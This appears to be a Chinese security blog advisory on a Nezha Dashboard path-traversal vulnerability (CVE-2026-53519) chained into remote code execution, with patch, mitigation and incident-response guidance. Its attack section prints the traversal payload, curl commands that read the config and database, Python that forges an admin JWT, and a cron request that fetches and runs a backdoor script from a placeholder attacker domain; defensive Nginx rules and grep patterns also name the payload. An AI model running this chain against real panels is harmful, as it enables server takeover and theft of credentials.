上一篇 下一篇 分享链接 返回 返回顶部

哪吒面板远程代码执行漏洞 CVE-2026-53519

发布人:like 发布时间:2026-08-15 13:36 阅读量:48

2026年5月底,开源服务器监控工具哪吒面板(Nezha Dashboard)被披露一枚严重安全漏洞,编号CVE-2026-53519。该漏洞CVSS评分高达9.1,攻击者无需任何账号密码,仅需一个HTTP请求即可读取面板配置文件,进而伪造管理员身份,通过Agent向所有被监控服务器下发任意命令。本文带你完整了解这枚哪吒面板远程代码执行漏洞的来龙去脉。

哪吒面板远程代码执行漏洞预警封面图

一、漏洞概述:一枚路径穿越引发的批量服务器沦陷

CVE-2026-53519是一枚位于哪吒面板Dashboard前端静态资源回退逻辑中的未授权路径穿越漏洞。虽然漏洞本身的技术分类是路径穿越(CWE-22),但在默认部署环境下,攻击者可以利用它读取包含JWT签名密钥的配置文件,进而伪造管理员身份登录后台,最终通过Cron任务或终端功能实现对所有纳管服务器的远程代码执行(RCE)

这枚漏洞的危险之处在于三个"极低":

  • 利用门槛极低:无需认证、无需交互,构造一个特殊URL即可发起攻击
  • 影响范围极广:所有v2.0.13以下版本均受影响,覆盖绝大多数在用实例
  • 危害程度极深:面板被接管等同于所有被监控服务器被接管,一损俱损

漏洞披露后,包括Lazarus在内的多个黑客组织已开始大规模扫描和利用,公网暴露的未修复实例面临极高的入侵风险。

| 漏洞属性 | 详情 | |---------|------| | CVE编号 | CVE-2026-53519 | | 漏洞类型 | 未授权路径穿越 → 密钥泄露 → 身份伪造 → RCE | | CVSS v3.1评分 | 9.1(严重) | | 影响版本 | 哪吒面板 v2.0.13 以下所有版本 | | 修复版本 | v2.0.13(2026年5月25日发布) | | 是否需要认证 | 否,完全未授权利用 | | 发现者 | riodrwn |

二、漏洞原理:一行前缀匹配的致命缺陷

2.1 问题出在哪里

哪吒面板的Dashboard使用Gin框架开发,在NoRoute处理器中,有一段用于回退到前端静态资源的逻辑。问题代码使用了strings.HasPrefix来判断请求路径是否以/dashboard开头:

if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
    stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
    localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
    // 读取并返回 localFilePath 对应的文件
}

这段代码的本意是:所有以/dashboard开头的请求,都去admin-dist目录下找对应的静态文件返回。但strings.HasPrefix做的是子串前缀匹配,而非路径段匹配,这就给了攻击者可乘之机。

哪吒面板路径穿越漏洞原理示意图

2.2 攻击者如何绕过防护

熟悉Go语言的读者可能会问:http.ServeFile不是自带路径穿越防护吗?确实,Go标准库会检查请求URL中是否存在独立的..路径段,如果有则直接返回400错误。

但攻击者构造的Payload是:

/dashboard../data/config.yaml

注意这里是dashboard..而不是dashboard/..。第一个路径段是一个整体dashboard..,其中并不包含独立的..段,因此Go标准库的防护不会触发

接下来看路径是如何被计算的:

  1. HasPrefix("/dashboard../data/config.yaml", "/dashboard")匹配成功
  2. TrimPrefix去掉前缀后得到:../data/config.yaml
  3. path.Join("admin-dist", "../data/config.yaml") → 结果为data/config.yaml
  4. os.Stat("data/config.yaml") → 文件存在,直接返回

穿越发生在TrimPrefix之后,此时..才被构造出来,已经位于所有防线的下游。path.Join的自动Clean行为静默地将..解析为上级目录跳转,且不返回任何错误。

2.3 为什么能读到密钥

在默认部署中,data/config.yaml文件包含了用于签名会话Cookie的HS256对称密钥jwt_secret_key

jwt_secret_key: xxxxxxxxxxxxxxxxxxxx
agent_secret_key: xxxxxxxxxxxxxxxxxxxx

HS256是对称加密算法,拥有密钥就等于拥有签名能力。攻击者拿到这个密钥后,可以伪造任意用户(包括管理员)的JWT令牌,以管理员身份登录面板。

三、完整攻击链:从一个GET请求到批量RCE

CVE-2026-53519本身只是一个文件读取漏洞,但在默认配置下可以串联成完整的远程代码执行链。以下是经过验证的四个攻击阶段:

哪吒面板漏洞完整攻击链流程图

阶段一:未授权读取配置文件

攻击者向目标面板发送一个精心构造的GET请求:

curl -s --path-as-is 'http://目标IP:8008/dashboard../data/config.yaml'

响应中直接返回config.yaml的完整内容,包括jwt_secret_keyagent_secret_key。除了配置文件,攻击者还可以用同样的方式读取SQLite数据库文件:

curl -s --path-as-is 'http://目标IP:8008/dashboard../data/sqlite.db' -o leaked.db

数据库中包含所有用户信息、服务器列表、API Token等敏感数据。

阶段二:窃取JWT密钥并伪造管理员令牌

从配置文件中提取jwt_secret_key后,攻击者使用HS256算法伪造管理员JWT:

import jwt
token = jwt.encode(
    {"user_id": admin_user_id},
    "窃取到的jwt_secret_key",
    algorithm="HS256"
)

将伪造的令牌设置为nz-jwtCookie,即可绕过登录认证,以管理员身份访问所有后台接口。

阶段三:接管面板后台

拥有管理员身份后,攻击者可以:

  • 查看所有被监控服务器的详细信息
  • 创建、修改、删除Cron定时任务
  • 使用内置终端直接连接任意服务器
  • 修改用户权限、创建后门账号
  • 篡改通知配置,将数据外传

阶段四:向所有服务器下发恶意命令(RCE)

这是攻击链的最终目的。攻击者创建一个全局Cron任务,将恶意命令推送到所有接入面板的Agent:

# 创建覆盖所有服务器的Cron任务
curl -X POST 'http://目标IP:8008/api/v1/cron' \
  -H 'Content-Type: application/json' \
  -b "nz-jwt=伪造的令牌" \
  -d '{
    "name": "system_update",
    "command": "curl http://攻击者域名/backdoor.sh | bash",
    "servers_raw": [],
    "cover": 1,
    "cron_spec": "* * * * *"
  }'

servers_raw为空且cover设为全局覆盖时,命令会在每台被监控服务器上执行。如果面板管理了100台服务器,攻击者一次操作就能拿下100台服务器的控制权。

四、影响范围与风险评估

4.1 哪些版本受影响

所有v2.0.13以下的哪吒面板版本均存在此漏洞,包括v2.0.0至v2.0.12。该漏洞位于Dashboard服务端,与Agent客户端版本无关,仅升级Agent无法修复。

4.2 哪些部署场景最危险

  • 公网直接暴露:面板管理端口(默认8008)可被公网直接访问的实例风险最高
  • 默认配置部署:使用默认配置文件路径和密钥的实例,攻击成本最低
  • 管理大量服务器:面板纳管的服务器越多,被入侵后的损失越大
  • 未开启额外认证:没有配置Nginx Basic Auth或IP白名单的实例

4.3 野外利用态势

漏洞披露后,安全厂商监测到以下活动:

  • 大规模互联网扫描已开始,针对8008端口的探测流量显著增加
  • 公开PoC和利用脚本已在GitHub和安全社区传播
  • 部分未修复实例已被植入后门,用于挖矿或作为跳板机
  • Lazarus等APT组织已将该漏洞纳入攻击工具库

五、修复与安全加固方案

5.1 最根本的修复:升级到安全版本

立即将哪吒面板升级至v2.0.13或更高版本。官方在该版本中修复了前缀匹配逻辑,增加了严格的路径逃逸检测:

# 官方一键升级脚本
curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh \
  -o nezha.sh && chmod +x nezha.sh && ./nezha.sh update

升级完成后务必重启面板服务,并验证版本号确认修复生效。

服务器安全加固四步法

5.2 临时缓解:网络层阻断攻击

如果因业务原因暂时无法升级,可通过以下方式降低风险:

Nginx反向代理拦截恶意请求

location / {
    # 拦截路径穿越Payload
    if ($request_uri ~* "dashboard\.\.") { return 403; }
    if ($request_uri ~* "dashboard%2e%2e") { return 403; }
    if ($request_uri ~* "dashboard\.\.%2f") { return 403; }
    proxy_pass http://127.0.0.1:8008;
}

限制访问来源

  • 通过防火墙或安全组,仅允许可信IP访问面板管理端口
  • 为面板增加HTTP Basic Auth额外认证层
  • 将面板部署在内网,通过VPN或跳板机访问

5.3 配置加固

  • data/目录设置严格的文件权限(建议600)
  • 定期轮换jwt_secret_keyagent_secret_key
  • 避免在配置文件中明文存储第三方API密钥
  • 启用面板的登录失败锁定和异常登录提醒

六、入侵排查指南

如果你的哪吒面板部署在公网且版本低于2.0.13,建议立即执行以下排查:

6.1 检查面板日志

# 搜索是否存在利用Payload的访问记录
grep -E "dashboard\.\.|dashboard%2e%2e|dashboard\.\.%2f" /path/to/nezha/logs/*.log

如果搜索结果不为空,说明面板可能已被攻击者探测或利用。

6.2 审查Cron任务

登录面板后台,仔细检查所有Cron定时任务:

  • 是否有不明来源或创建者异常的任务
  • 是否存在servers_raw为空的全局推送任务
  • 命令中是否包含curlwgetbashsh等下载执行模式
  • 是否有被篡改的原有任务

6.3 检查Agent端异常

在所有被监控服务器上执行:

# 检查异常定时任务
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/

# 检查异常进程和外联
ps aux | grep -E "curl|wget|bash|nc|ncat|miner"
netstat -antp | grep -E "ESTABLISHED"

# 检查常见后门目录
ls -la /tmp/ /var/tmp/ /dev/shm/

6.4 密钥与凭证轮换

确认安全后,立即执行:

  1. 修改config.yaml中的jwt_secret_keyagent_secret_key
  2. 重置所有面板用户的登录密码
  3. 重新部署所有Agent的通信密钥
  4. 轮换配置文件中涉及的所有第三方API密钥

七、总结:监控工具安全不可忽视

CVE-2026-53519这枚哪吒面板远程代码执行漏洞,再次提醒我们:运维监控工具本身就是最高价值的攻击目标。一台监控面板通常管理着几十甚至上百台服务器,一旦被攻破,攻击者就能批量控制所有被监控节点,危害远超普通Web应用漏洞。

对于使用哪吒面板的运维人员,建议:

  1. 立即升级到v2.0.13或更高版本,这是最根本的修复措施
  2. 限制公网暴露,管理端口不要直接暴露在互联网上
  3. 定期关注安全公告,及时跟进官方安全更新
  4. 做好入侵排查,尤其是公网部署的旧版本实例

选择可靠的部署方式、保持系统及时更新、做好访问控制,才是保障服务器监控系统安全的核心。希望这篇文章能帮助你快速理解并处置这枚哪吒面板漏洞,守护好你的服务器集群。


参考资料:GitHub Security Advisory GHSA-5c25-7vpj-9mqh、NVD CVE-2026-53519、哪吒面板官方仓库

目录结构
全文